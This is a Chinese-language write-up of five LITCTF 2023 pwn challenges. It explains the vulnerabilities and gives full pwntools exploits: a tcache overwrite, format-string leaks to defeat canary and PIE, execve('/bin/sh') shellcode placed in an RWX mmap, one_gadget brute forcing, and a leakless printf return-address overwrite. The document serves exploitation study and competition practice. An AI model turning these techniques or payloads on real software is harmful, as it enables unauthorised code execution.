0%

LITCTF2023

filereader

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
1
2
3
4
5
6
s: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2d9ee3867b8472fc809b8d34c0e6b7fc68fa248c, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

入侵思路

绕开这个 double free 就可以获取 flag:

1
2
3
4
5
6
free(ptr);
__isoc99_scanf("%lu", &v6);
__isoc99_scanf("%lu", &v7);
*v6 = v7;
puts("Exiting...");
free(ptr);

直接覆盖 tcache->bk 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './s1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('litctf.org','31772')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x12C4)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()

leak_addr = eval(ru("\n"))
success("leak_addr >> "+hex(leak_addr))

sl(str(leak_addr-0x48))
sl(str(0))

p.interactive()

MyPet

1
2
3
4
5
6
s: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=845f074a2f75e89b38ab4074668bcd859a39a3e3, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
gets(format);
printf(format);
fflush(stdout);
gets(format);

入侵思路

利用格式化字符串漏洞泄露后门地址和 canary,直接覆盖返回地址为后门地址

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './s'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('litctf.org','31791')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1238)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
sleep(0.1)
payload = "%13$p%11$p"
sl(payload)

ru("0x")
leak_addr = eval("0x"+ru("0x"))
pro_base = leak_addr - 0x12ae
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

canary = eval("0x"+ru("00"))*0x100
success("canary >> "+hex(canary))

back_door = pro_base + 0x11EE
sleep(0.1)
payload = "a"*40+p64(canary)+"b"*8+p64(back_door)
sl(payload)

p.interactive()

SHA-Shell

1
2
3
4
5
6
x: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a473a0cf21f6ae4972ee4e29a626d49552b65dc4, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

mmap 有执行权限:

1
2
3
4
5
6
result = mmap(0LL, 0x10000uLL, 7, 33, -1, 0LL);
*result = lookup;
result[1] = store;
result[2] = helpMenu;
result[3] = infoBlurb;
result[4] = checkPrintable;

入侵思路

在 mmap 的空间上写 shellcode,然后想办法覆盖存放于 mmap 上的地址

由于程序会对 index 进行 hash 处理,导致不容易命中 mmap 上的地址,我的解决方法比较简单粗暴:

1
2
3
for i in range(0x4000):
print(str(i+1+62175))
store(str(i+1+62175),"a")
  • 最后发现 74823 122935 200796 成功输出可用数据
1
2
3
4
5
6
lookup(str(74823))
ru("Value for \"74823\": ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
pro_base = leak_addr - 0x1581
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

函数 checkPrintable 会过滤非可见字符,导致 shellcode 注入失败

1
2
3
4
5
6
result = mmap(0LL, 0x10000uLL, 7, 33, -1, 0LL);
*result = lookup;
result[1] = store;
result[2] = helpMenu;
result[3] = infoBlurb;
result[4] = checkPrintable;

我们可以将其覆盖为函数 hexlifyPrint

1
2
3
4
int __fastcall hexlifyPrint(__int64 a1)
{
return printf("%lx\n", a1);
}

这样既可以泄露 mmap_addr,又可以解除 shellcode 的限制:

1
2
payload = p16(printx % 0x10000) # checkPrintable
store(str(200796),payload)

然后输入 shellcode,计算 shellcode 的地址

最后将 mmap_addr 上的函数指针覆盖为 shellcode_addr 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './x'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('litctf.org','31778')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1668)\n")
pause()

def cmd(op):
sla(">",str(op))

def lookup(index):
sla("$ ","lookup")
sla("Birthday):",index)

def store(index,data):
sla("$ ","store")
sla("Birthday):",index)
sla("2020)",data)

#for i in range(500):
#print(str(i+1+196453+4000))
#store(str(i+1+196453+4000),"a")
#lookup(str(i+1+196453+4000))
#ru(":")
#print(ru("\n"))

lookup(str(74823))
ru("Value for \"74823\": ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
pro_base = leak_addr - 0x1581
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

printx = pro_base + 0x1375
puts_got = pro_base + 0x3F70
puts_plt = pro_base + 0x1150

payload = p16(printx % 0x10000) # checkPrintable
store(str(200796),payload)

ru("\n")
ru("\n")
leak_addr = eval("0x"+ru("\n"))
mmap_base = leak_addr - 0x20
success("leak_addr >> "+hex(leak_addr))
success("mmap_base >> "+hex(mmap_base))

#debug()

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
store("0",shellcode)

shellcode_addr = mmap_base + 0x3658
payload = p64(shellcode_addr) # lookup
store(str(122935),payload)

sla("$ ","lookup")

p.interactive()

sprintf

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
s: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1bf9e09eafed1670b2cc74bb1f662031a0a6796c, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

栈溢出漏洞和格式化字符串漏洞:

1
2
3
chunk = (char *)malloc(0x80uLL);
chunk[read(0, chunk, 0x80uLL) - 1] = 0;
sprintf(s, chunk);

入侵思路

printf 在内部调用 vfprintf,尝试覆盖 printf 的返回地址但没有成功

1
2
3
4
5
0x7ffff7e5a0f4 <__vsprintf_internal+164>    call   __vfprintf_internal                <__vfprintf_internal>
rdi: 0x7fffffffda00 ◂— 0xfffffffffbad8001
rsi: 0x55555555b2a0 ◂— 0x6325 /* '%c' */
rdx: 0x7fffffffdb40 ◂— 0x3000000010
rcx: 0x0

还有一个解法就是爆破 one_gadget,有 1/4096 的概率可以打通(由于 sprintf 会在后面自动添加 \x00 导致要多爆破两位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
1
2
RDX  0x0
R15 0x0

比赛时看这概率很低,于是就不打算爆了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './s1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

"""
local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('litctf.org','31778')
"""

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1242)\n")
pause()

def cmd(op):
sla(">",str(op))

"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
"""

def pwn():
#debug()
one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
payload = "a"*0x38 + "\x01\x1b"
sl(payload)

i = 0
while(1):
try:
i = i + 1
print(i)
#p = remote('1.13.101.243','25752')
p = process(challenge)
pwn()
sl("cat flag")
flag = ru("}")
print(flag)
break
except:
p.close()

p.interactive()

stiller-printf

1
GNU C Library (Ubuntu GLIBC 2.36-0ubuntu4) stable release version 2.36.
1
2
3
4
5
6
stiller-printf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a6ab53bcdd0f2439e5ecf85bff7b3d5a43048e1, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

本题目有个特殊的地方,其二进制文件是用 python 启动的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pwn
from tqdm import tqdm
import secrets

pwn.context.log_level = 'critical'

payload = input("Payload: ").encode('utf-8')
if len(payload) >= 0x100 or not payload.isascii():
print("NO!")
exit(1)

def check(payload):
f = open('secret.txt', 'wb')
token = secrets.token_hex(0x40).encode()
f.write(token)
f.close()
con = pwn.process("./stiller-printf", stdout=open('/dev/null', 'wb'))
con.sendline(payload)
ret = con.poll(True) == 0
con.close()
try:
f = open('win.txt', 'rb')
ret = f.read() == token and ret
f.close()
return ret
except FileNotFoundError:
return False


total = 150
passed = sum([check(payload) for _ in tqdm(range(total))])
print(f"Total: {total} Passed: {passed}")
if passed > 58:
print("CONSISTENT ENOUGH FOR ME :D")
print("LITCTF{FLAG}")
exit(0)
print("NOT CONSISTENT ENOUGH")
exit(1)
  • 函数 check 的通过条件是:文件 secret.txtwin.txt 中的内容相同
  • 运行150次,如果通过此时超过58即可获取 flag(需要爆破概率超过 1/3)
  • 程序使用管道进行通信,不存在大量的字符阻塞IO的限制

漏洞分析

格式化字符串漏洞:

1
2
fgets(s, 256, stdin);
printf(s);

程序中有后门:

1
2
3
4
fds = open("secret.txt", 0);
fdw = open("win.txt", 0x41, 448LL);
len = read(fds, buf, 0x100uLL);
write(fdw, buf, len);

入侵思路

利用格式化字符串漏洞执行后门函数即可,程序对通过率有限制,必须在无泄漏的情况下编写高通过率的 payload

核心思路就是覆盖 printf 返回地址的末尾一字节为 0x09,将其变为后门函数(在使用 %n 覆盖较小尺寸的数据时,需要令此数据在 mod 256 后等于 0x09)

面对无泄露的 fmt,需要先寻找合适的指针链,断点到 printf 刚刚调用时打印栈数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
00:0000│ rsp 0x7ffed951a4c8 —▸ 0x56406778a2e7 ◂— mov    edi, 1 /* printf返回地址 */
......
21:0108│ rbp 0x7ffed951a5d0 ◂— 0x1
22:01100x7ffed951a5d8 —▸ 0x7fc034d97510 ◂— mov edi, eax
23:01180x7ffed951a5e0 ◂— 0x0
24:01200x7ffed951a5e8 —▸ 0x56406778a295 ◂— endbr64
25:01280x7ffed951a5f0 ◂— 0x100000000
26:01300x7ffed951a5f8 —▸ 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
27:01380x7ffed951a600 —▸ 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
28:01400x7ffed951a608 ◂— 0x40538a8863c3a102
29:01480x7ffed951a610 ◂— 0x0
2a:01500x7ffed951a618 —▸ 0x7ffed951a6f8 —▸ 0x7ffed951b0ee ◂— 'LC_NUMERIC=zh_CN.UTF-8'
2b:01580x7ffed951a620 —▸ 0x56406778cd90 —▸ 0x56406778a1c0 ◂— endbr64
2c:01600x7ffed951a628 —▸ 0x7fc034fb1020 (_rtld_global) —▸ 0x7fc034fb22e0 —▸ 0x564067789000 ◂— 0x10102464c457f
2d:01680x7ffed951a630 ◂— 0xbfae382b2801a102
2e:01700x7ffed951a638 ◂— 0xbfd3e33a8a49a102
2f:01780x7ffed951a640 ◂— 0x0
30:01800x7ffed951a648 ◂— 0x0
31:01880x7ffed951a650 ◂— 0x0
32:01900x7ffed951a658 —▸ 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
33:01980x7ffed951a660 —▸ 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
34:01a0│ 0x7ffed951a668 ◂— 0xb5e79ed3527f8200
35:01a8│ 0x7ffed951a670 ◂— 0x0
36:01b0│ 0x7ffed951a678 —▸ 0x7fc034d975c9 (__libc_start_main+137) ◂— mov r15, qword ptr [rip + 0x1d29a0]
37:01b8│ 0x7ffed951a680 —▸ 0x56406778a295 ◂— endbr64
38:01c0│ 0x7ffed951a688 —▸ 0x56406778cd90 —▸ 0x56406778a1c0 ◂— endbr64
39:01c8│ 0x7ffed951a690 —▸ 0x7fc034fb22e0 —▸ 0x564067789000 ◂— 0x10102464c457f
3a:01d0│ 0x7ffed951a698 ◂— 0x0
3b:01d8│ 0x7ffed951a6a0 ◂— 0x0
3c:01e00x7ffed951a6a8 —▸ 0x56406778a120 ◂— endbr64
3d:01e80x7ffed951a6b0 —▸ 0x7ffed951a6e0 ◂— 0x1
3e:01f0│ 0x7ffed951a6b8 ◂— 0x0
3f:01f8│ 0x7ffed951a6c0 ◂— 0x0
40:02000x7ffed951a6c8 —▸ 0x56406778a145 ◂— hlt
41:02080x7ffed951a6d0 —▸ 0x7ffed951a6d8 ◂— 0x38 /* '8' */
42:02100x7ffed951a6d8 ◂— 0x38 /* '8' */
43:02180x7ffed951a6e0 ◂— 0x1
44:0220│ rbx 0x7ffed951a6e8 —▸ 0x7ffed951b0dc ◂— './stiller-printf1'
45:02280x7ffed951a6f0 ◂— 0x0
46:0230│ r13 0x7ffed951a6f8 —▸ 0x7ffed951b0ee ◂— 'LC_NUMERIC=zh_CN.UTF-8'
  • 合适的指针链如下:
    • 0x7ffed951a5f8(43) -> 0x7ffed951a6e8(73)
    • 0x7ffed951a618(47) -> 0x7ffed951a6f8(75)
1
2
3
4
5
6
7
8
9
10
pwndbg> fmtarg 0x7ffed951a5f8
The index of format argument : 44 ("\%43$p")
pwndbg> fmtarg 0x7ffed951a618
The index of format argument : 48 ("\%47$p")
pwndbg> fmtarg 0x7ffed951a658
The index of format argument : 56 ("\%55$p")
pwndbg> fmtarg 0x7ffed951a6e8
The index of format argument : 74 ("\%73$p")
pwndbg> fmtarg 0x7ffed951a6f8
The index of format argument : 76 ("\%75$p")

后续的操作参考了如下博客:LIT CTF 2023 - stiller-printf - Yet another format string to rule them all - Ethan’s Blog (eth007.me)

为了利用指针链,首先我们需要将覆盖指针链的后2字节,使其指向 printf 的返回地址

首先需要了解一个技巧:

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main() {
printf("%*c\n", 0x31, 'a');
printf("%*c\n", 0x32, 'b');
printf("%*1$c\n",'1','2','3');
printf("%*2$c\n",'1','2','3');
printf("%*3$c\n",'1','2','3');
}
1
2
3
4
5
6
exp ./test            
a
b
1
1
1
  • %*c:读取后续相邻的2个参数,第1个参数作为对其值,第2个参数作为数据
  • %*n$c:读取后续第1,n个参数,第n个参数作为对其值,第1个参数作为数据

分析以下 payload:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%*c
  • 42个 %c,1个 %*c,因此第43个参数就会作为对其值(这里存放了 0x7ffed951a6e8)
  • 因此整个 payload 的对其值为:0x7ffed951a6e8 + 42
1
2
pwndbg> distance 0x7ffed951a6e8 0x7ffed951a4c8
0x7ffed951a6e8->0x7ffed951a4c8 is -0x220 bytes (-0x44 words)
  • 对该 payload 进行变形,使对其值为 0x7ffed951a4c8 + 0x10000 * n(printf 的返回地址),我们只需要利用后4位的值,因此n的值不重要
  • 假设 n = 1 可以进行如下的计算:
    • -0x220 % 0x10000 = 0xfde0
    • 0xfde0 - 41 = 64951
1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64951c%*c

为了覆盖指针链的后2字节,可以得出如下 payload:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn
  • 新添加两个 %c 导致第47个参数成为 %hn 修改的对象,即是 0x7ffed951a618
  • 由于 0x7ffed951a618(47) 指向 0x7ffed951a6f8(75),索引75会间接指向 printf 的返回地址(此时修改索引75即可修改 printf 的返回地址)

然后写入如下 payload 修改 printf 的返回地址:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%133c%75$hhn
  • 可以使用 GDB 配合 r >/dev/null 命令进行调试
  • 由于栈的随机化较大,因此 %*c 会写入随机大小的对其值,%133c 正是其中一种情况的解(爆破概率为 1/16)

虽然 %*c 的值是随机的,但我们可以通过再添加15个 %*43$c 的方法使其末尾一字节为 \x00(共16个 %*43$c

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%*43$c%8c%75$hhn
  • 这在理论上应该有效,但是当针对程序运行时每次都会过早退出

这里作者给出了原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline int
done_add_func (size_t length, int done)
{
if (done < 0)
return done;
int ret;
if (INT_ADD_WRAPV (done, length, &ret))
{
__set_errno (EOVERFLOW);
return -1;
}
return ret;
}
  • 这是负责管理 %n 计数器的函数,done 变量是 printf 的 %n 的计数器
  • 当它检测到整数溢出时,printf 将退出,并且由于使用了 int 数据类型
  • 当我们尝试打印太多时,printf 将过早退出

测试案例如下:

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main() {
long a = 0;
long b = 0;
printf("%*1$c%2$lln\n", 0x80000000, &a);
printf("%*1$c%2$lln\n", 0x70000000, &b);
fprintf(stderr, "a:0x%lx\nb:0x%lx\n", a,b);
}
1
2
a:0x0
b:0x70000000
  • 由于第一个 printf 触发了整数溢出,导致赋值失败

这里作者给出的解决办法是:利用另一条指针链进行间接修改

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn
  • 往索引56中写入 0xa6f0,间接导致索引73也指向索引74(0x7ffed951a6f0),该索引的初始值为“0”,将其写入 15 次之后依然较小
1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn
  • 往索引73中写入 0xa6f0+6,此时索引74中的值变为 0xa6f0+6,该索引中的值较小,覆写15次也不会造成整数溢出
  • 最后修改索引75即可修改 printf 的返回地址

目前唯一的问题就是,该 payload 较长,超出了题目的限制:

1
2
len("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn")
257

可以做出如下调整:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn
  • 将第一个 %*74$c 修改为 %*c 可以节约几字节的空间

完整 exp 如下:

1
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn